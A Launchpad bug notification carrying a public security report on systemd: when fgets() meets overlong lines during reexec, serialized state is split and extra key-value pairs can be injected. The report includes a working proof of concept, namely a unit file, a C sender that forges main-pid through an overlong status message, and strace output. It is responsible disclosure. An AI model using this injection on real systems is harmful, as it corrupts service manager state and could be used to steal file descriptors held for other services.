[Bug 1796402] Re: systemd: reexec state injection: fgets() on overlong lines leads to line splitting

[Seth Arnold]

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1796402

Title:
  systemd: reexec state injection: fgets() on overlong lines leads to
  line splitting

Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  systemd: reexec state injection: fgets() on overlong lines leads to
  line splitting

  [I am sending this bug report to Ubuntu, even though it's an upstream
  bug, as requested at
  https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports
  .]

  When systemd re-executes (e.g. during a package upgrade), state is
  serialized into a memfd before the execve(), then reloaded after the
  execve(). Serialized data is stored as text, with key-value pairs
  separated by newlines. Values are escaped to prevent control character
  injection.

  Lines associated with a systemd unit are read in unit_deserialize()
  using fgets():

                  char line[LINE_MAX], *l, *v;
                  [...]
                  if (!fgets(line, sizeof(line), f)) {
                          if (feof(f))
                                  return 0;
                          return -errno;
                  }

  LINE_MAX is 2048:

  /usr/include/bits/posix2_lim.h:#define LINE_MAX         _POSIX2_LINE_MAX
  /usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048

  
  When fgets() encounters overlong input, it behaves dangerously. If a
  line is more than 2047 characters long, fgets() will return the first
  2047 characters and leave the read cursor in the middle of the
  overlong line. Then, when fgets() is called the next time, it
  continues to read data from offset 2047 in the line as if a new line
  started there. Therefore, if an attacker can inject an overlong value
  into the serialized state somehow, it is possible to inject extra
  key-value pairs into the serialized state.

  A service that has `NotifyAccess != none` can send a status message to
  systemd that will be stored as a property of the service. When systemd
  re-executes, this status message is stored under the key
  "status-text".
  Status messages that are sent to systemd are received by
  manager_dispatch_notify_fd(). This function has a receive buffer of
  size NOTIFY_BUFFER_MAX==PIPE_BUF==4096.

  Therefore, a service with `NotifyAccess != none` can trigger this bug.

  
  Reproducer:

  Create a simple service with NotifyAccess by copying the following
  text into /etc/systemd/system/notify_test.service (assuming that your
  home directory is /home/user):

  =========
  [Unit]
  Description=jannh test service for systemd notifications

  [Service]
  Type=simple
  NotifyAccess=all
  FileDescriptorStoreMax=100
  User=user
  ExecStart=/home/user/test_service
  Restart=always

  [Install]
  WantedBy=multi-user.target
  =========

  Create a small binary that sends an overlong status when it starts up:

  =========
  user at ubuntu-18-04-vm:~$ cat test_service.c
  #define _GNU_SOURCE
  #include <unistd.h>
  #include <sys/socket.h>
  #include <sys/un.h>
  #include <err.h>
  #include <signal.h>
  #include <stdio.h>

  int main(void) {
  	int sock = socket(AF_UNIX, SOCK_DGRAM, 0);
  	if (sock == -1) err(1, "socket");
  	struct sockaddr_un addr = {
  		.sun_family = AF_UNIX,
  		.sun_path = "/run/systemd/notify"
  	};
  	if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1, "connect");

  	char message[0x2000] = "STATUS=";
  	memset(message+7, 'X', 2048-1-12);
  	strcat(message, "main-pid=13371337");
  	struct iovec iov = {
  		.iov_base = message,
  		.iov_len = strlen(message)
  	};
  	union {
  		struct cmsghdr cmsghdr;
  		char buf[CMSG_SPACE(sizeof(struct ucred))];
  	} control = { .cmsghdr = {
  		.cmsg_level = SOL_SOCKET,
  		.cmsg_type = SCM_CREDENTIALS,
  		.cmsg_len = CMSG_LEN(sizeof(struct ucred))
  	}};
  	struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct cmsghdr)));
  	ucred->pid = getpid();
  	ucred->uid = getuid();
  	ucred->gid = getgid();
  	struct msghdr msghdr = {
  		.msg_iov = &iov,
  		.msg_iovlen = 1,
  		.msg_control = &control,
  		.msg_controllen = sizeof(control)
  	};
  	if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg");

  	while (1) pause();
  }
  user at ubuntu-18-04-vm:~$ gcc -o test_service test_service.c
  user at ubuntu-18-04-vm:~$
  =========

  Install the service, and start it. Then run strace against systemd,
  and run:

  =========
  root at ubuntu-18-04-vm:~# systemctl daemon-reexec
  root at ubuntu-18-04-vm:~# systemctl stop notify_test.service
  =========

  The "stop" command hangs, and you'll see the following in strace:

  =========
  root at ubuntu-18-04-vm:~# strace -p1 2>&1 | grep 13371337
  openat(AT_FDCWD, "/proc/13371337/stat", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
  kill(13371337, SIG_0)                   = -1 ESRCH (No such process)
  kill(13371337, SIGTERM)                 = -1 ESRCH (No such process)
  =========

  This demonstrates that systemd's representation of the service's PID
  was clobbered by the status message.

  
  This can in theory, depending on how the active services are
  configured and some other things, also be used to e.g. steal file
  descriptors that other services have stored in systemd (visible in
  the serialized representation as "fd-store-fd").

  This isn't the only place in systemd that uses fgets(); other uses of
  fgets() should probably also be audited and potentially replaced with
  a safer function.

  
  This bug is subject to a 90 day disclosure deadline. After 90 days elapse
  or a patch has been made broadly available (whichever is earlier), the bug
  report will become visible to the public.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1796402/+subscriptions